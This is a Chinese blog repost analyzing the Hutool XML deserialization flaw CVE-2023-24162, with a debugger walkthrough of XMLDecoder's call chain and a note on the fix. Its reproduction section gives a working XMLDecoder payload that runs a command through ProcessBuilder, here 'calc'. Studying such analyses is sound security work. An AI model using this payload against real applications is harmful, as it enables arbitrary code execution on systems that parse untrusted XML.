hutool XML反序列化漏洞(CVE-2023-24162)

news2024/11/25 19:34:40

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

我们在 maven 仓库中查找 Hutool

https://mvnrepository.com/search?q=Hutool

image

image

把依赖复制出来,添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
    <groupId>cn.hutool</groupId>
    <artifactId>hutool-all</artifactId>
    <version>5.8.11</version>
</dependency>

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {
    public static void main(String[] args)  {
        XmlUtil.readObjectFromXml("<java>\n" +
                "    <object class=\"java.lang.ProcessBuilder\">\n" +
                "        <array class=\"java.lang.String\" length=\"1\">\n" +
                "            <void index=\"0\">\n" +
                "                <string>calc</string>\n" +
                "            </void>\n" +
                "        </array>\n" +
                "        <void method=\"start\"></void>\n" +
                "    </object>\n" +
                "</java>\n");
    }
}

5

在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;

public class Test {
    public static void main(String[] args)  {
        File file = new File("bean.xml");
        XmlUtil.readObjectFromXml(file);
    }
}

6

漏洞分析

整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

image

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

image

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

image

java.beans.XMLDecoder#readObject

image

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。

image

XMLDecoder.readObject

<java>
 <object class="java.lang.ProcessBuilder">
  <array class="java.lang.String" length="1">
    <void index="0"><string>calc</string></void>
  </array>
  <void method="start"></void>
 </object>
</java>

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

void 标签,method 的值对应着 method 的参数 (start)

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

java.lang.ProcessBuilder#start

image

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

image

先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始,</​ 对应着结束

解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

image

这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

image

com.sun.beans.decoder.DocumentHandler#DocumentHandler

image

对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

image

com.sun.beans.decoder.DocumentHandler#endElement

image

调用 StringElementHandler​ 对应的 endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类 ElementHandler​ 中 endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image​​

com.sun.beans.decoder.StringElementHandler#getValueObject

image

最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

com.sun.beans.decoder.NewElementHandler#addArgument

image

接着将 handler​ 指向上一级的 handlerVoidElementHandler

调用 VoidElementHandler​ 对应的 endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

执行完后又有一个 <void method="start"></void>

调试返回的结果

com.sun.beans.decoder.DocumentHandler#endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

继续执行,最终触发命令执行

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

后一部分很像套娃

image

整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/392174.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于EB工具的TC3xx_MCAL配置开发01_WDG模块配置介绍

目录 1.概述2. WDG 配置2.1 General部分配置2.2 WdgSettingsConfig配置2.2.1 配置概述2.2.2 CPU WDG具体配置2.3 WdgDemEventParameterRefs3. WDG配置注意事项1.概述 本篇开始我们基于EB Tresos工具对英飞凌TC3xx系列MCU的MCAL开发进行介绍,结合项目经验对各MCAL外设的开发及…

C++回顾(七)—— 面向对象模型

7.1 静态成员变量和静态成员函数 7.1.1 静态成员变量 关键字 static 可以用于说明一个类的成员&#xff1b;静态成员提供了一个同类对象的共享机制&#xff1b;把一个类的成员说明为 static 时&#xff0c;这个类无论有多少个对象被创建&#xff0c;这些对象共享这个 static …

ubuntu C++调用python

普通 目录结构 main.py 等会用c调用func() #!/usr/bin/env python # _*_ coding:utf-8 _*_ import osdef func():print(hello world)if __name__ __main__:func()main.cpp 其中Py_SetPythonHome的路径是anaconda中环境的路径&#xff0c;最开始的L一定要加&#xff08;因为…

基于 Rainbond 的 Pipeline(流水线)插件

背景 Rainbond 本身具有基于源码构建组件的能力&#xff0c;可以将多种编程语言的代码编译成 Docker 镜像&#xff0c;但是在持续集成的过程中&#xff0c;往往会需要对提交的代码进行静态检查、构建打包以及单元测试。之前由于 Rainbond 并没有 Pipeline 这种可编排的机制&am…

Git-学习笔记02【Git连接远程仓库】

Java后端 学习路线 笔记汇总表【黑马-传智播客】Git-学习笔记01【Git简介及安装使用】Git-学习笔记02【Git连接远程仓库】Git-学习笔记03【Git分支】目录 01-使用github创建一个远程仓库 02-推送到远程仓库介绍 03-创建ssh密钥及在github上配置公钥 04-使用ssh方式将本地仓…

MySQL基本查询

文章目录表的增删查改Create&#xff08;创建&#xff09;单行数据 全列插入多行数据 指定列插入插入否则更新替换Retrieve&#xff08;读取&#xff09;SELECT列全列查询指定列查询查询字段为表达式查询结果指定别名结果去重WHERE 条件基本比较BETWEEN AND 条件连接OR 条件连…

SpringBoot With IoC,DI, AOP,自动配置

文章目录1 IoC&#xff08;Inverse Of Controller&#xff09;2 DI&#xff08;Dependency Injection&#xff09;3 AOP&#xff08;面向切面编程&#xff09;3.1 什么是AOP&#xff1f;3.2 AOP的作用&#xff1f;3.3 AOP的核心概念3.4 AOP常见通知类型3.5 切入点表达式4 自动配…

计算机网络的166个概念 你知道几个第七部分

计算机网络传输层 可靠数据传输&#xff1a;确保数据能够从程序的一端准确无误的传递给应用程序的另一端。 容忍丢失的应用&#xff1a;应用程序在发送数据的过程中可能会存在数据丢失的情况。 非持续连接&#xff1a;每个请求/响应会对经过不同的连接&#xff0c;每一个连接…

vue3+ts:约定式提交(git husky + gitHooks)

一、背景 Git - githooks Documentation https://github.com/typicode/husky#readme gitHooks: commit-msg_snowli的博客-CSDN博客 之前实践过这个配置&#xff0c;本文在vue3 ts 的项目中&#xff0c;再记录一次。 二、使用 2.1、安装 2.1.1、安装husky pnpm add hus…

python学习——【第三弹】

前言 上一篇文章 python学习——【第二弹】中学习了python中的运算符内容&#xff0c;这篇文章接着学习python中的流程控制语句。 流程控制指的是代码运行逻辑、分支走向、循环控制&#xff0c;是真正体现我们程序执行顺序的操作。流程控制一般分为顺序执行、条件判断和循环控…

从源码的角度告诉你 spark是怎样完成对文件切片

目录 1.说明 2.怎样设置默认切片数 2.1 RDD默认切片设置 2.2 SparkSQL默认切片设置 3. makeRDD 切片原理 4. textFile 切片原理 4.1 切片规则 4.2 怎样设置切片大小 4.3 测试代码 5.hadoopFile 切片原理 5.1 说明 5.2 切片规则 5.3 怎样设置切片大小 5.4 代码测试…

【算法经典题集】前缀和与数学(持续更新~~~)

&#x1f63d;PREFACE&#x1f381;欢迎各位→点赞&#x1f44d; 收藏⭐ 评论&#x1f4dd;&#x1f4e2;系列专栏&#xff1a;算法经典题集&#x1f50a;本专栏涉及到的知识点或者题目是算法专栏的补充与应用&#x1f4aa;种一棵树最好是十年前其次是现在前缀和一维前缀和k倍…

【我的Android开发】AMS中Activity栈管理

概述 Activity栈管理是AMS的另一个重要功能&#xff0c;栈管理又和Activity的启动模式和startActivity时所设置的Flag息息相关&#xff0c;Activity栈管理的主要处理逻辑是在ActivityStarter#startActivityUnchecked方法中&#xff0c;本文也会围绕着这个方法进进出出&#xf…

Gopro卡无法打开视频恢复方法

下边来看一个文件系统严重受损的Gopro恢复案例故障存储: 120G SD卡故障现象:客户正常使用&#xff0c;备份数据时发现卡无法打开&#xff0c;多次插拔后故障依旧。故障分析:Winhex查看发现0号分区表扇区正常&#xff0c;这应该是一个exfat格式的文件系统&#xff0c;但是逻辑盘…

【单目3D目标检测】MonoDDE论文精读与代码解析

文章目录PrefacePros and ConsAbstractContributionsPreliminaryDirect depth estimationDepth from heightPespective-n-point&#xff08;PnP&#xff09;PipelineDiverse Depth EstimationsRobust Depth CombinationOutput distributionSelecting and combining reliable de…

JVM-从熟悉到精通

JVM 机器语言 一个指令由操作码和操作数组成 方法调用等于一个压栈的过程 栈有 BP寄存器 和 SP寄存器来占用空间 BP -> Base Point 栈基址&#xff08;栈底&#xff09;SP -> Stack Point 栈顶 字节序用于规定数据在内存单元如何存放&#xff0c;二进制位的高位和低…

计算机组成原理|第二章(笔记)

目录第二章 计算机的发展及应用2.1 计算机的发展史2.1.1 计算机的生产和发展2.1.2 微型计算机的出现和发展2.1.3 软件技术的兴起与发展2.2 计算机的应用2.3 计算机的展望上篇&#xff1a;第一章&#xff1a;计算机系统概论 第二章 计算机的发展及应用 2.1 计算机的发展史 2.1.…

基于半车悬架的轴距预瞄与轴间预瞄仿真对比

目录 前言 1. 半车悬架模型 2.轴距预瞄(单点预瞄)和轴间预瞄(两点预瞄)原理与仿真分析 2.1轴距预瞄(单点预瞄) 2.1.1预瞄原理 2.2.轴间预瞄(两点预瞄) 2.2.1预瞄原理 2.3仿真分析 3.总结 前言 对于悬架而言&#xff0c;四个车轮实际的输入信息是受到前后延时以及左右相…

SpringCloud:Feign的使用及配置

目录 Feign的使用及配置 1、Feign替代RestTemplate 2、使用Fegin步骤 3、自定义配置 4、Feign使用优化 5、Feign的最佳实践方式 Feign的使用及配置 1、Feign替代RestTemplate RestTemplate方式远程调用的问题 问题&#xff1a; 1、代码可读性差&#xff0c;编程体验不同…

HTML基本概述

文章目录网站和网页浏览器的作用HTML标签元素注释乱码问题web系统是以网站形式呈现的&#xff0c;而前端是以网页形式呈现的。 网站和网页 网站&#xff08;web site&#xff09;&#xff1a;互联网上用于展示特定内容的相关网页的集合。也就是说&#xff0c;一个网站包含多个…